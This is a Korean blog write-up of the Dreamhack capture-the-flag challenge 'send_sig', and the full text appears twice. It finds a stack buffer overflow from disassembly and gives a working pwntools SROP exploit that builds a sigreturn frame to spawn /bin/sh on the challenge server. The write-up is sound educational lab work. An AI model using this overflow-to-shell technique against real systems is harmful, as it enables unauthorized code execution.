send_sig 문제풀이
1. 취약점 확인
먼저 checksec 명령어로 보호기법을 확인해보자
[*] '/home/gunp4ng/project/SF/send_sig/send_sig'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
x64 아키텍처에 Partial RELRO, NX - bit 보호기법이 걸려있는 것을 알 수 있다
1. 어셈블리
C코드가 주어지지 않고 바이너리 파일만 주어졌다
main 함수가 없어서 objdump 로 어셈블리를 확인하였다
4010b6: f3 0f 1e fa endbr64
4010ba: 55 push rbp
4010bb: 48 89 e5 mov rbp,rsp
4010be: 48 83 ec 10 sub rsp,0x10
4010c2: ba 07 00 00 00 mov edx,0x7
4010c7: 48 8d 35 3a 0f 00 00 lea rsi,[rip+0xf3a] # 402008 <exit@plt+0xf88>
4010ce: bf 01 00 00 00 mov edi,0x1
4010d3: b8 00 00 00 00 mov eax,0x0
4010d8: e8 73 ff ff ff call 401050 <write@plt>
4010dd: 48 8d 45 f8 lea rax,[rbp-0x8]
4010e1: ba 00 04 00 00 mov edx,0x400
4010e6: 48 89 c6 mov rsi,rax
4010e9: bf 00 00 00 00 mov edi,0x0
4010ee: b8 00 00 00 00 mov eax,0x0
4010f3: e8 68 ff ff ff call 401060 <read@plt>
4010f8: 90 nop
4010f9: c9 leave
4010fa: c3 ret
exit, write, read 함수가 존재한다
read 함수의 인자로 0, 0x8, 0x400 이 들어간다
→ read(0, buf, 0x400)
buf 는 0x8 인 것을 알 수 있다
→ 16 만큼을 입력하면 RET 를 덮어씌울 수 있다
buf 가 0x8 이지만 read 로 0x400 을 입력받기 때문에 SROP 가 가능하다
2. 익스플로잇 구성
1. 공격 순서
- sigreturn 함수를 이용해 레지스터에 필요한 값을 저장한다
- rsp → sigreturn() 함수 호출 후 이동할 주소(syscall 명령어가 저장된 주소)
- rdi → "/bin/sh" 문자열이 저장된 주소
- rax → execve() 함수의 시스템 콜 번호
- rip → syscall 명령어가 저장된 주소
- cs → (user code) 0x33
- ss → (user data) 0x2b
- syscall 실행
x64 환경에서 exeve 시스템 콜 번호는 0x3b 이다
2. 필요한 정보 구하기
- pop rax; 가젯
- syscall 가젯
- "/bin/sh" 주소
필요한 정보들을 하나씩 구해보자

"/bin/sh" 의 주소는 0x402000 이다

pop rax 가젯의 주소는 0x4010ae 이다

syscall 가젯의 주소는 0x4010b0 이다
3. Exploit
1. Exploit Code
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
# p = process('./send_sig')
p = remote('host3.dreamhack.games', 19539)
poprax = 0x4010ae
syscall = 0x4010b0
binsh = 0x402000
payload = b'\x90' * 16
payload += p64(poprax)
payload += p64(0xf)
payload += p64(syscall)
frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = binsh
frame.rsp = syscall
frame.rip = syscall
payload += bytes(frame)
#pause()
p.recvuntil('Signal:')
p.send(payload)
p.interactive()
pwntools 의 SigreturnFrame 함수를 이용하여 작성하였다

페이로드를 작성하고 실행하면 플래그를 획득할 수 있다
'War Game > Pwnable' 카테고리의 다른 글
[Dreamhack] off_by_one_000 (0) | 2025.03.18 |
---|---|
[Dreamhack] off_by_one_001 (0) | 2025.03.17 |
[sschall] tutor_rop (0) | 2024.10.17 |
[sschall] pie (0) | 2024.10.15 |
[sschall] adult_canary (0) | 2024.10.03 |
send_sig 문제풀이
1. 취약점 확인
먼저 checksec 명령어로 보호기법을 확인해보자
[*] '/home/gunp4ng/project/SF/send_sig/send_sig'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
x64 아키텍처에 Partial RELRO, NX - bit 보호기법이 걸려있는 것을 알 수 있다
1. 어셈블리
C코드가 주어지지 않고 바이너리 파일만 주어졌다
main 함수가 없어서 objdump 로 어셈블리를 확인하였다
4010b6: f3 0f 1e fa endbr64
4010ba: 55 push rbp
4010bb: 48 89 e5 mov rbp,rsp
4010be: 48 83 ec 10 sub rsp,0x10
4010c2: ba 07 00 00 00 mov edx,0x7
4010c7: 48 8d 35 3a 0f 00 00 lea rsi,[rip+0xf3a] # 402008 <exit@plt+0xf88>
4010ce: bf 01 00 00 00 mov edi,0x1
4010d3: b8 00 00 00 00 mov eax,0x0
4010d8: e8 73 ff ff ff call 401050 <write@plt>
4010dd: 48 8d 45 f8 lea rax,[rbp-0x8]
4010e1: ba 00 04 00 00 mov edx,0x400
4010e6: 48 89 c6 mov rsi,rax
4010e9: bf 00 00 00 00 mov edi,0x0
4010ee: b8 00 00 00 00 mov eax,0x0
4010f3: e8 68 ff ff ff call 401060 <read@plt>
4010f8: 90 nop
4010f9: c9 leave
4010fa: c3 ret
exit, write, read 함수가 존재한다
read 함수의 인자로 0, 0x8, 0x400 이 들어간다
→ read(0, buf, 0x400)
buf 는 0x8 인 것을 알 수 있다
→ 16 만큼을 입력하면 RET 를 덮어씌울 수 있다
buf 가 0x8 이지만 read 로 0x400 을 입력받기 때문에 SROP 가 가능하다
2. 익스플로잇 구성
1. 공격 순서
- sigreturn 함수를 이용해 레지스터에 필요한 값을 저장한다
- rsp → sigreturn() 함수 호출 후 이동할 주소(syscall 명령어가 저장된 주소)
- rdi → "/bin/sh" 문자열이 저장된 주소
- rax → execve() 함수의 시스템 콜 번호
- rip → syscall 명령어가 저장된 주소
- cs → (user code) 0x33
- ss → (user data) 0x2b
- syscall 실행
x64 환경에서 exeve 시스템 콜 번호는 0x3b 이다
2. 필요한 정보 구하기
- pop rax; 가젯
- syscall 가젯
- "/bin/sh" 주소
필요한 정보들을 하나씩 구해보자

"/bin/sh" 의 주소는 0x402000 이다

pop rax 가젯의 주소는 0x4010ae 이다

syscall 가젯의 주소는 0x4010b0 이다
3. Exploit
1. Exploit Code
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
# p = process('./send_sig')
p = remote('host3.dreamhack.games', 19539)
poprax = 0x4010ae
syscall = 0x4010b0
binsh = 0x402000
payload = b'\x90' * 16
payload += p64(poprax)
payload += p64(0xf)
payload += p64(syscall)
frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = binsh
frame.rsp = syscall
frame.rip = syscall
payload += bytes(frame)
#pause()
p.recvuntil('Signal:')
p.send(payload)
p.interactive()
pwntools 의 SigreturnFrame 함수를 이용하여 작성하였다

페이로드를 작성하고 실행하면 플래그를 획득할 수 있다
'War Game > Pwnable' 카테고리의 다른 글
[Dreamhack] off_by_one_000 (0) | 2025.03.18 |
---|---|
[Dreamhack] off_by_one_001 (0) | 2025.03.17 |
[sschall] tutor_rop (0) | 2024.10.17 |
[sschall] pie (0) | 2024.10.15 |
[sschall] adult_canary (0) | 2024.10.03 |